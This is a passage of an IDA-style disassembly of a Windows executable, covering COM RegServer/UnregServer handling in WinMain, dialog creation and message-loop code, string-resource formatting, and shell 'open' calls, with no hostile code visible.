loc_4056B4:				; CODE XREF: sub_405440+1ADj
					; sub_405440+1CCj
		lea	ecx, [ebp+arg_C]
		call	sub_401C60


loc_4056BC:				; CODE XREF: sub_405440+58j
					; sub_405440+92j
		lea	ecx, [ebp+var_14]
		call	sub_4024D0
		mov	eax, esi
		lea	esp, [ebp-954h]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
sub_405440	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4056E0	proc near		; CODE XREF: sub_405440+25Ep

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		call	off_412040
		mov	edi, [ebp+arg_8]
		test	edi, edi
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], 0
		jz	loc_4057EA
		mov	eax, [ebp+arg_C]
		test	eax, eax
		jz	loc_4057EA
		mov	ebx, ds:dword_40F040
		push	edi
		call	ebx	; lstrlenW
		lea	esi, [eax+eax+2]
		cmp	esi, 400h
		jg	short loc_405742
		push	esi
		call	sub_4010B0
		add	esp, 4
		test	al, al
		jz	short loc_405742
		mov	eax, esi
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	__alloca_probe
		mov	eax, esp
		jmp	short loc_40574B
; ---------------------------------------------------------------------------


loc_405742:				; CODE XREF: sub_4056E0+42j
					; sub_4056E0+4Fj
		push	esi
		lea	ecx, [ebp+var_4]
		call	sub_4022E0


loc_40574B:				; CODE XREF: sub_4056E0+60j
		mov	ecx, [ebp+var_8]
		push	ecx
		push	esi
		push	edi
		push	eax
		call	sub_401240
		mov	edx, [ebp+arg_C]
		push	edx
		mov	edi, eax
		call	ebx	; lstrlenW
		lea	esi, [eax+eax+2]
		cmp	esi, 400h
		jg	short loc_405789
		push	esi
		call	sub_4010B0
		add	esp, 4
		test	al, al
		jz	short loc_405789
		mov	eax, esi
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	__alloca_probe
		mov	eax, esp
		jmp	short loc_405792
; ---------------------------------------------------------------------------


loc_405789:				; CODE XREF: sub_4056E0+89j
					; sub_4056E0+96j
		push	esi
		lea	ecx, [ebp+var_4]
		call	sub_4022E0


loc_405792:				; CODE XREF: sub_4056E0+A7j
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+arg_C]
		push	ecx
		push	esi
		push	edx
		push	eax
		call	sub_401240
		test	edi, edi
		jz	short loc_4057D1
		test	eax, eax
		jnz	short loc_4057D1
		mov	ecx, [ebp+arg_0]
		push	1
		push	eax
		mov	eax, [ebp+arg_4]
		push	edi
		push	eax
		call	sub_404CD0
		lea	ecx, [ebp+var_4]
		mov	esi, eax
		call	sub_401C60
		mov	eax, esi
		lea	esp, [ebp-14h]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
; ---------------------------------------------------------------------------


loc_4057D1:				; CODE XREF: sub_4056E0+C3j
					; sub_4056E0+C7j
		lea	ecx, [ebp+var_4]
		call	sub_401C60
		mov	eax, 8007000Eh
		lea	esp, [ebp-14h]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
; ---------------------------------------------------------------------------


loc_4057EA:				; CODE XREF: sub_4056E0+1Ej
					; sub_4056E0+29j
		mov	eax, 80070057h
		lea	esp, [ebp-14h]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
sub_4056E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405800	proc near		; CODE XREF: sub_405440+26Dp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		call	off_412040
		mov	edi, [ebp+arg_8]
		test	edi, edi
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], 0
		jz	loc_40590A
		mov	eax, [ebp+arg_C]
		test	eax, eax
		jz	loc_40590A
		mov	ebx, ds:dword_40F040
		push	edi
		call	ebx	; lstrlenW
		lea	esi, [eax+eax+2]
		cmp	esi, 400h
		jg	short loc_405862
		push	esi
		call	sub_4010B0
		add	esp, 4
		test	al, al
		jz	short loc_405862
		mov	eax, esi
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	__alloca_probe
		mov	eax, esp
		jmp	short loc_40586B
; ---------------------------------------------------------------------------


loc_405862:				; CODE XREF: sub_405800+42j
					; sub_405800+4Fj
		push	esi
		lea	ecx, [ebp+var_4]
		call	sub_4022E0


loc_40586B:				; CODE XREF: sub_405800+60j
		mov	ecx, [ebp+var_8]
		push	ecx
		push	esi
		push	edi
		push	eax
		call	sub_401240
		mov	edx, [ebp+arg_C]
		push	edx
		mov	edi, eax
		call	ebx	; lstrlenW
		lea	esi, [eax+eax+2]
		cmp	esi, 400h
		jg	short loc_4058A9
		push	esi
		call	sub_4010B0
		add	esp, 4
		test	al, al
		jz	short loc_4058A9
		mov	eax, esi
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	__alloca_probe
		mov	eax, esp
		jmp	short loc_4058B2
; ---------------------------------------------------------------------------


loc_4058A9:				; CODE XREF: sub_405800+89j
					; sub_405800+96j
		push	esi
		lea	ecx, [ebp+var_4]
		call	sub_4022E0


loc_4058B2:				; CODE XREF: sub_405800+A7j
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+arg_C]
		push	ecx
		push	esi
		push	edx
		push	eax
		call	sub_401240
		test	edi, edi
		jz	short loc_4058F1
		test	eax, eax
		jz	short loc_4058F1
		mov	ecx, [ebp+arg_0]
		push	0
		push	eax
		mov	eax, [ebp+arg_4]
		push	edi
		push	eax
		call	sub_404CD0
		lea	ecx, [ebp+var_4]
		mov	esi, eax
		call	sub_401C60
		mov	eax, esi
		lea	esp, [ebp-14h]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
; ---------------------------------------------------------------------------


loc_4058F1:				; CODE XREF: sub_405800+C3j
					; sub_405800+C7j
		lea	ecx, [ebp+var_4]
		call	sub_401C60
		mov	eax, 8007000Eh
		lea	esp, [ebp-14h]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
; ---------------------------------------------------------------------------


loc_40590A:				; CODE XREF: sub_405800+1Ej
					; sub_405800+29j
		mov	eax, 80070057h
		lea	esp, [ebp-14h]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
sub_405800	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame thunk


sub_405920	proc near		; DATA XREF: .rdata:0040F5B0o
		jmp	sub_4050C0
sub_405920	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================


; int __stdcall	WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int	nShowCmd)

_WinMain@16	proc near		; CODE XREF: start+186p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
hInstance	= dword	ptr  4
hPrevInstance	= dword	ptr  8
lpCmdLine	= dword	ptr  0Ch
nShowCmd	= dword	ptr  10h

		sub	esp, 24h
		push	ebx
		push	ebp
		push	esi
		push	edi
		call	ds:dword_40F0D8	; GetCommandLineA
		push	0
		mov	ebp, eax
		call	ds:dword_40F278
		mov	edi, [esp+34h+hInstance]
		push	offset dword_40F338
		push	edi
		push	offset dword_4124E4
		mov	ecx, offset off_412070
		call	sub_401A80
		call	ds:dword_40F0AC	; GetCurrentThreadId
		mov	cl, ds:byte_40F6D2
		mov	dword_4120A0, eax
		mov	ax, ds:word_40F6D0
		mov	word ptr [esp+34h+var_24], ax
		lea	ebx, [esp+34h+var_24]
		mov	eax, ebp
		mov	byte ptr [esp+34h+var_24+2], cl
		mov	[esp+34h+var_20], 0
		call	sub_401060
		mov	esi, eax
		test	esi, esi
		jz	short loc_405A18
		mov	edi, ds:dword_40F088
		nop


loc_4059A0:				; CODE XREF: WinMain(x,x,x,x)+97j
		push	offset aUnregserver ; "UnregServer"
		push	esi
		call	edi	; lstrcmpi
		test	eax, eax
		jz	short loc_4059CB
		push	offset aRegserver ; "RegServer"
		push	esi
		call	edi	; lstrcmpi
		test	eax, eax
		jz	short loc_4059F2
		lea	ebx, [esp+34h+var_24]
		mov	eax, esi
		call	sub_401060
		mov	esi, eax
		test	esi, esi
		jnz	short loc_4059A0
		jmp	short loc_405A14
; ---------------------------------------------------------------------------


loc_4059CB:				; CODE XREF: WinMain(x,x,x,x)+7Aj
		push	0
		push	0
		push	64h
		push	offset off_412070
		call	sub_4050C0
		push	0
		push	1
		mov	ecx, offset off_412070
		call	sub_4053B0
		mov	[esp+34h+var_20], eax
		jmp	loc_405B93
; ---------------------------------------------------------------------------


loc_4059F2:				; CODE XREF: WinMain(x,x,x,x)+86j
		push	0
		push	1
		push	64h
		push	offset off_412070
		call	sub_4050C0
		push	0
		push	1
		mov	ecx, offset off_412070
		call	sub_405320
		mov	[esp+34h+var_20], eax


loc_405A14:				; CODE XREF: WinMain(x,x,x,x)+99j
		mov	edi, [esp+34h+hInstance]


loc_405A18:				; CODE XREF: WinMain(x,x,x,x)+67j
		push	0
		push	0
		push	0
		push	0
		call	ds:dword_40F094	; CreateEventA
		test	eax, eax
		mov	dword_4120A4, eax
		jz	short loc_405A4A
		lea	edx, [esp+34h+hInstance]
		push	edx
		push	0
		push	offset off_412070
		push	offset loc_401D40
		push	0
		push	0
		call	ds:dword_40F090	; CreateThread


loc_405A4A:				; CODE XREF: WinMain(x,x,x,x)+FDj
		push	1
		push	4
		mov	ecx, offset off_412070
		call	sub_402210
		mov	al, ds:byte_40F7FB
		test	al, al
		jz	short loc_405A7D
		mov	eax, ebp
		lea	edx, [eax+1]


loc_405A66:				; CODE XREF: WinMain(x,x,x,x)+13Bj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_405A66
		sub	eax, edx
		cmp	byte ptr [eax+ebp-1], 75h
		jnz	short loc_405A7D
		mov	eax, edi
		call	loc_4031B0


loc_405A7D:				; CODE XREF: WinMain(x,x,x,x)+12Fj
					; WinMain(x,x,x,x)+144j
		call	ds:dword_40F0D8	; GetCommandLineA
		push	edi
		call	sub_403350
		push	64h		; unsigned int
		call	??2@YAPAXI@Z	; operator new(uint)
		add	esp, 8
		test	eax, eax
		jz	short loc_405AF5
		push	edi
		mov	ecx, eax
		call	sub_404850
		test	eax, eax
		mov	dword_412530, eax
		jz	loc_405B7E
		call	ds:dword_40F210	; GetDesktopWindow
		mov	esi, eax
		mov	eax, dword_412530
		push	eax
		add	eax, 8
		push	eax
		push	offset dword_412044
		call	loc_402E50
		mov	eax, dword_412570
		push	0
		push	offset loc_404B50
		push	esi
		push	65h
		push	eax
		call	ds:dword_40F220	; CreateDialogParamA
		mov	al, ds:byte_40F7F9
		test	al, al
		jz	short loc_405B01
		mov	ecx, dword_412530
		mov	edx, [ecx+4]
		push	0
		push	edx
		jmp	short loc_405B0C
; ---------------------------------------------------------------------------


loc_405AF5:				; CODE XREF: WinMain(x,x,x,x)+165j
		mov	dword_412530, 0
		jmp	short loc_405B7E
; ---------------------------------------------------------------------------


loc_405B01:				; CODE XREF: WinMain(x,x,x,x)+1B5j
		mov	eax, dword_412530
		mov	ecx, [eax+4]
		push	5
		push	ecx


loc_405B0C:				; CODE XREF: WinMain(x,x,x,x)+1C3j
		call	ds:dword_40F228	; ShowWindow
		mov	esi, ds:dword_40F214
		push	0
		push	0
		push	0
		lea	edx, [esp+40h+var_1C]
		push	edx
		call	esi	; GetMessageA
		test	eax, eax
		jz	short loc_405B6D
		mov	edi, ds:dword_40F218
		mov	ebx, ds:dword_40F21C
		jmp	short loc_405B40
; ---------------------------------------------------------------------------
		align 10h


loc_405B40:				; CODE XREF: WinMain(x,x,x,x)+205j
					; WinMain(x,x,x,x)+23Bj
		mov	ecx, dword_412530
		mov	edx, [ecx+4]
		lea	eax, [esp+34h+var_1C]
		push	eax
		push	edx
		call	edi	; IsDialogMessage
		test	eax, eax
		jnz	short loc_405B5C
		lea	eax, [esp+34h+var_1C]
		push	eax
		call	ebx	; DispatchMessageA


loc_405B5C:				; CODE XREF: WinMain(x,x,x,x)+223j
		push	0
		push	0
		push	0
		lea	ecx, [esp+40h+var_1C]
		push	ecx
		call	esi	; GetMessageA
		test	eax, eax
		jnz	short loc_405B40


loc_405B6D:				; CODE XREF: WinMain(x,x,x,x)+1F7j
		mov	ecx, dword_412530
		test	ecx, ecx
		jz	short loc_405B7E
		mov	edx, [ecx]
		push	1
		call	dword ptr [edx+4]


loc_405B7E:				; CODE XREF: WinMain(x,x,x,x)+176j
					; WinMain(x,x,x,x)+1CFj ...
		mov	ecx, offset off_412070
		call	sub_4022A0
		push	3E8h
		call	ds:dword_40F0D4	; Sleep


loc_405B93:				; CODE XREF: WinMain(x,x,x,x)+BDj
		mov	ecx, offset off_412070
		call	sub_402170
		call	ds:dword_40F274
		mov	eax, [esp+34h+var_20]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 24h
		retn	10h
_WinMain@16	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_405BC0	proc near		; CODE XREF: sub_408350+327p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	0
		push	0
		push	eax
		push	offset aOpen	; "open"
		push	0
		call	ds:dword_40F1AC
		cmp	eax, 20h
		setnbe	al
		retn	4
sub_405BC0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_405BF0	proc near		; CODE XREF: sub_406390+6Fp
					; sub_406390+89p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	eax, [esi+20h]
		push	79h
		push	eax
		mov	ecx, edi
		call	sub_408FD0
		mov	ecx, [esi+20h]
		push	66h
		push	ecx
		push	1
		mov	ecx, edi
		call	sub_408E60
		mov	edx, [esi+20h]
		push	67h
		push	edx
		push	2
		mov	ecx, edi
		call	sub_408E60
		mov	eax, [esi+20h]
		push	68h
		push	eax
		push	1
		mov	ecx, edi
		call	sub_408EA0
		mov	ecx, [esi+20h]
		push	69h
		push	ecx
		push	2
		mov	ecx, edi
		call	sub_408EA0
		push	0
		mov	ecx, edi
		call	sub_408FB0
		pop	edi
		pop	esi
		retn	4
sub_405BF0	endp

; ---------------------------------------------------------------------------
		align 10h


loc_405C50:				; DATA XREF: sub_407D40+4Co
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, [esp+10h]
		cmp	[edi+8], esi
		jz	short loc_405CAA
		push	0FFFFFFE0h
		push	esi
		call	ds:dword_40F238	; GetClassWord
		cmp	[edi+2], ax
		jnz	short loc_405CAA
		push	0FFFFFFEBh
		push	esi
		call	ds:dword_40F204	; GetWindowLongA
		cmp	[edi+4], eax
		jnz	short loc_405CAA
		mov	byte ptr [edi],	1
		mov	al, ds:byte_40F7F9
		test	al, al
		jz	short loc_405C8C
		push	0
		jmp	short loc_405C8E
; ---------------------------------------------------------------------------


loc_405C8C:				; CODE XREF: .text:00405C86j
		push	5


loc_405C8E:				; CODE XREF: .text:00405C8Aj
		push	esi
		call	ds:dword_40F228	; ShowWindow
		push	esi
		call	ds:dword_40F208	; SetForegroundWindow
		push	esi
		call	ds:dword_40F20C	; SetFocus
		pop	edi
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_405CAA:				; CODE XREF: .text:00405C5Dj
					; .text:00405C6Cj ...
		pop	edi
		mov	eax, 1
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_405CC0	proc near		; CODE XREF: sub_407D40+4A8p
		mov	eax, [ecx+4]
		push	eax
		call	ds:dword_40F200	; DestroyWindow
		push	0
		call	ds:dword_40F1D8	; PostQuitMessage
		retn
sub_405CC0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_405CE0	proc near		; CODE XREF: sub_405D70+50p
					; sub_405D70+8Ep ...

arg_0		= dword	ptr  4

		mov	eax, dword_412534
		test	eax, eax
		push	ebx
		push	esi
		mov	esi, ecx
		jnz	short loc_405D02
		push	1400h		; unsigned int
		call	j_??2@YAPAXI@Z	; operator new(uint)
		add	esp, 4
		mov	dword_412534, eax
		mov	byte ptr [eax],	0


loc_405D02:				; CODE XREF: sub_405CE0+Bj
		mov	ebx, [esp+8+arg_0]
		push	eax
		push	ebx
		call	ds:dword_40F0B8	; lstrcmp
		test	eax, eax
		jz	short loc_405D67
		mov	eax, [esi+4]
		push	edi
		mov	edi, ds:dword_40F1C4
		push	ebx
		push	0
		push	180h
		push	0CCh
		push	eax
		call	edi	; SendDlgItemMessageA
		mov	ecx, [esi+4]
		push	0
		push	0
		push	18Bh
		push	0CCh
		push	ecx
		call	edi	; SendDlgItemMessageA
		mov	edx, [esi+4]
		push	0
		dec	eax
		push	eax
		push	186h
		push	0CCh
		push	edx
		call	edi	; SendDlgItemMessageA
		mov	eax, dword_412534
		push	1400h
		push	ebx
		push	eax
		call	ds:dword_40F09C	; lstrcpyn
		pop	edi


loc_405D67:				; CODE XREF: sub_405CE0+30j
		pop	esi
		pop	ebx
		retn	4
sub_405CE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_405D70	proc near		; CODE XREF: sub_405F00+59p
					; sub_4065D0+39p ...

var_800		= byte ptr -800h
var_400		= byte ptr -400h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		mov	ecx, [esp+arg_4]
		sub	esp, 800h
		push	esi
		mov	esi, [esp+804h+arg_0]
		mov	edx, [esi+20h]
		push	400h
		lea	eax, [esp+808h+var_800]
		push	eax
		push	ecx
		push	edx
		call	ds:dword_40F1E4	; LoadStringA
		test	eax, eax
		jnz	short loc_405DCD
		mov	eax, [esp+804h+arg_4]
		push	eax
		lea	ecx, [esp+808h+var_800]
		push	offset aResourceLdNotF ; "resource %ld not found"
		push	ecx
		call	ds:dword_40F1E0	; wsprintfA
		add	esp, 0Ch
		lea	edx, [esp+804h+var_400]
		push	edx
		mov	ecx, esi
		call	sub_405CE0
		pop	esi
		add	esp, 800h
		retn
; ---------------------------------------------------------------------------


loc_405DCD:				; CODE XREF: sub_405D70+29j
		cmp	[esp+804h+arg_4], 12Bh
		lea	ecx, [esp+804h+var_400]
		lea	eax, [esp+804h+var_800]
		jnz	short loc_405E0B
		mov	edx, [esi+54h]
		push	edx
		push	eax
		push	ecx
		call	ds:dword_40F1E0	; wsprintfA
		add	esp, 0Ch
		lea	edx, [esp+804h+var_400]
		push	edx
		mov	ecx, esi
		call	sub_405CE0
		pop	esi
		add	esp, 800h
		retn
; ---------------------------------------------------------------------------


loc_405E0B:				; CODE XREF: sub_405D70+73j
		lea	edx, [esp+804h+arg_8]
		push	edx
		push	eax
		push	ecx
		call	ds:dword_40F1DC	; wvsprintfA
		lea	edx, [esp+804h+var_400]
		push	edx
		mov	ecx, esi
		call	sub_405CE0
		pop	esi
		add	esp, 800h
		retn
sub_405D70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_405E40	proc near		; CODE XREF: sub_4065D0+C2p
					; sub_408350+1FFp ...

var_400		= byte ptr -400h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		mov	ecx, [esp+arg_4]
		sub	esp, 400h
		lea	eax, [esp+400h+arg_8]
		push	eax
		push	ecx
		lea	edx, [esp+408h+var_400]
		push	edx
		call	ds:dword_40F1DC	; wvsprintfA
		mov	ecx, [esp+400h+arg_0]
		lea	eax, [esp+400h+var_400]
		push	eax
		call	sub_405CE0
		add	esp, 400h
		retn
sub_405E40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_405E80	proc near		; CODE XREF: sub_407D40+52Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		test	eax, eax
		jnz	short loc_405E8D
		xor	al, al
		retn	8
; ---------------------------------------------------------------------------


loc_405E8D:				; CODE XREF: sub_405E80+6j
		mov	ecx, [ecx+4]
		push	eax
		mov	eax, [esp+4+arg_0]
		push	eax
		push	ecx
		call	ds:dword_40F1C8	; SetDlgItemTextA
		dec	eax
		neg	eax
		sbb	al, al
		inc	al
		retn	8
sub_405E80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_405EB0	proc near		; CODE XREF: sub_404890+90p

var_4		= byte ptr -4

		push	ecx
		push	esi
		mov	esi, ecx
		mov	ecx, dword_41252C
		test	ecx, ecx
		jz	short loc_405EDF
		lea	eax, [esp+8+var_4]
		push	eax
		call	sub_409BC0
		cmp	eax, 2000h
		jz	short loc_405EF1
		mov	ecx, dword_41252C
		push	0BB8h
		call	sub_4097C0


loc_405EDF:				; CODE XREF: sub_405EB0+Cj
		mov	ecx, [esi+4]
		push	ecx
		call	ds:dword_40F200	; DestroyWindow
		push	0
		call	ds:dword_40F1D8	; PostQuitMessage


loc_405EF1:				; CODE XREF: sub_405EB0+1Dj
		xor	eax, eax
		pop	esi
		pop	ecx
		retn	10h
sub_405EB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_405F00	proc near		; CODE XREF: sub_404890+C0p

var_200		= byte ptr -200h

		sub	esp, 200h
		push	esi
		push	edi
		mov	edi, ds:dword_40F1C4
		push	0
		push	0
		push	147h
		mov	esi, ecx
		mov	eax, [esi+4]
		push	0C9h
		push	eax
		call	edi	; SendDlgItemMessageA
		mov	edx, [esi+4]
		lea	ecx, [esp+208h+var_200]
		push	ecx
		push	eax
		push	148h
		push	0C9h
		push	edx
		call	edi	; SendDlgItemMessageA
		mov	ecx, dword_41252C
		lea	eax, [esp+208h+var_200]
		push	eax
		call	sub_4094D0
		test	eax, eax
		jge	short loc_405F8C
		lea	ecx, [esp+208h+var_200]
		push	ecx
		push	1F4h
		push	esi
		call	sub_405D70
		mov	ecx, dword_41252C
		add	esp, 0Ch
		call	sub_4096C0
		mov	edx, [esi+4]
		push	eax
		push	0
		push	14Dh
		push	0C9h
		push	edx
		call	edi	; SendDlgItemMessageA
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 200h
		retn	10h
; ---------------------------------------------------------------------------


loc_405F8C:				; CODE XREF: sub_405F00+4Cj
		mov	ecx, dword_41252C
		push	eax
		call	sub_409AD0
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 200h
		retn	10h
sub_405F00	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_405FB0	proc near		; CODE XREF: sub_406200+2p
					; sub_407D40+19Ap ...

var_2C		= dword	ptr -2Ch
Memory		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_2		= byte ptr -2
arg_0		= dword	ptr  4

		sub	esp, 2Ch
		mov	eax, [esp+2Ch+arg_0]
		mov	ecx, [ecx+20h]
		push	ebx
		xor	ebx, ebx
		push	eax
		push	ecx
		lea	ecx, [esp+38h+var_2C]
		mov	[esp+38h+var_2C], ebx
		mov	[esp+38h+Memory], ebx
		mov	[esp+38h+var_24], ebx
		mov	[esp+38h+var_20], bl
		mov	[esp+38h+var_2], bl
		call	sub_401DD0
		cmp	al, 1
		jz	short loc_406009
		mov	eax, [esp+30h+Memory]
		cmp	eax, ebx
		jz	short loc_405FF5
		push	eax		; Memory
		call	_free
		add	esp, 4
		mov	[esp+30h+Memory], ebx


loc_405FF5:				; CODE XREF: sub_405FB0+36j
		mov	edx, [esp+30h+var_2C]
		push	edx
		call	ds:dword_40F194
		xor	al, al
		pop	ebx
		add	esp, 2Ch
		retn	4
; ---------------------------------------------------------------------------


loc_406009:				; CODE XREF: sub_405FB0+2Ej
		lea	ecx, [esp+30h+var_2C]
		call	sub_409F60
		push	1
		push	ebx
		push	ebx
		push	eax
		push	offset aOpen	; "open"
		push	ebx
		call	ds:dword_40F1AC
		cmp	eax, 20h
		mov	eax, [esp+30h+Memory]
		setnbe	byte ptr [esp+30h+arg_0]
		cmp	eax, ebx
		jz	short loc_406040
		push	eax		; Memory
		call	_free
		add	esp, 4
		mov	[esp+30h+Memory], ebx


loc_406040:				; CODE XREF: sub_405FB0+81j
		mov	eax, [esp+30h+var_2C]
		push	eax
		call	ds:dword_40F194
		mov	al, byte ptr [esp+30h+arg_0]
		pop	ebx
		add	esp, 2Ch
		retn	4
sub_405FB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_406060	proc near		; CODE XREF: sub_406110+25p
					; sub_407D40+2B7p ...

var_2C		= dword	ptr -2Ch
Memory		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_2		= byte ptr -2
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 2Ch
		mov	eax, [esp+2Ch+arg_4]
		push	esi
		push	edi
		mov	esi, ecx
		mov	ecx, [esi+20h]
		push	eax
		xor	edi, edi
		push	ecx
		lea	ecx, [esp+3Ch+var_2C]
		mov	[esp+3Ch+var_2C], edi
		mov	[esp+3Ch+Memory], edi
		mov	[esp+3Ch+var_24], edi
		mov	[esp+3Ch+var_20], 0
		mov	[esp+3Ch+var_2], 0
		call	sub_401DD0
		cmp	al, 1
		jz	short loc_4060BF
		mov	eax, [esp+34h+Memory]
		cmp	eax, edi
		jz	short loc_4060AA
		push	eax		; Memory
		call	_free
		add	esp, 4
		mov	[esp+34h+Memory], edi


loc_4060AA:				; CODE XREF: sub_406060+3Bj
		mov	edx, [esp+34h+var_2C]
		push	edx
		call	ds:dword_40F194
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 2Ch
		retn	8
; ---------------------------------------------------------------------------


loc_4060BF:				; CODE XREF: sub_406060+33j
		push	ebx
		lea	ecx, [esp+38h+var_2C]
		call	sub_409F60
		mov	ecx, [esi+4]
		push	eax
		mov	eax, [esp+3Ch+arg_0]
		push	eax
		push	ecx
		call	ds:dword_40F1C8	; SetDlgItemTextA
		mov	ebx, eax
		mov	eax, [esp+34h+var_24]
		dec	ebx
		neg	ebx
		sbb	bl, bl
		inc	bl
		cmp	eax, edi
		jz	short loc_4060F7
		push	eax		; Memory
		call	_free
		add	esp, 4
		mov	[esp+34h+var_24], edi


loc_4060F7:				; CODE XREF: sub_406060+88j
		mov	edx, [esp+34h+Memory]
		push	edx
		call	ds:dword_40F194
		mov	al, bl
		pop	ebx
		pop	edi
		pop	esi
		add	esp, 2Ch
		retn	8
sub_406060	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_406110	proc near		; CODE XREF: sub_404890+67p
		push	ebx
		push	esi
		mov	esi, ecx
		mov	eax, [esi+60h]
		xor	ebx, ebx
		cmp	eax, ebx
		jz	short loc_40613C
		cmp	eax, 2
		jle	short loc_406186
		cmp	eax, 7
		jg	short loc_406186
		push	386h
		push	1
		mov	dword ptr [esi+60h], 8
		call	sub_406060
		jmp	short loc_406174
; ---------------------------------------------------------------------------


loc_40613C:				; CODE XREF: sub_406110+Bj
		mov	al, byte_4120DC
		mov	edx, [esi+4]
		xor	ecx, ecx
		cmp	al, bl
		push	ebx
		setz	cl
		push	ebx
		push	184h
		push	0CCh
		push	edx
		mov	byte_4120DC, bl
		mov	[esi+58h], bl
		lea	ecx, [ecx+ecx+1]
		mov	[esi+60h], ecx
		mov	[esi+59h], bl
		mov	[esi+5Ah], bl
		call	ds:dword_40F1C4	; SendDlgItemMessageA


loc_406174:				; CODE XREF: sub_406110+2Aj
		mov	eax, [esi+4]
		push	ebx
		push	0FAh
		push	1
		push	eax
		call	ds:dword_40F1C0	; SetTimer


loc_406186:				; CODE XREF: sub_406110+10j
					; sub_406110+15j
		pop	esi
		xor	eax, eax
		pop	ebx
		retn	10h
sub_406110	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_406190	proc near		; CODE XREF: sub_406580+27p
					; sub_4065D0+99p ...

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		mov	eax, [ebx]
		test	eax, eax
		push	ebp
		push	esi
		push	edi
		mov	ebp, ecx
		jz	short loc_4061B1
		push	eax
		call	ds:dword_40F180
		push	eax
		mov	eax, [ebx]
		push	eax
		call	ds:dword_40F184


loc_4061B1:				; CODE XREF: sub_406190+Ej
		mov	[ebp+0], eax
		cmp	dword ptr [ebx], 0
		jz	short loc_4061C7
		test	eax, eax
		jnz	short loc_4061C7
		push	8007000Eh
		call	loc_4012B0


loc_4061C7:				; CODE XREF: sub_406190+27j
					; sub_406190+2Bj
		mov	ecx, [ebx+4]
		mov	[ebp+4], ecx
		mov	edx, [ebx+8]
		mov	[ebp+8], edx
		lea	esi, [ebx+0Ch]
		lea	edi, [ebp+0Ch]
		mov	ecx, 7
		rep movsd
		movsw
		mov	al, [ebx+2Ah]
		pop	edi
		mov	[ebp+2Ah], al
		pop	esi
		mov	eax, ebp
		pop	ebp
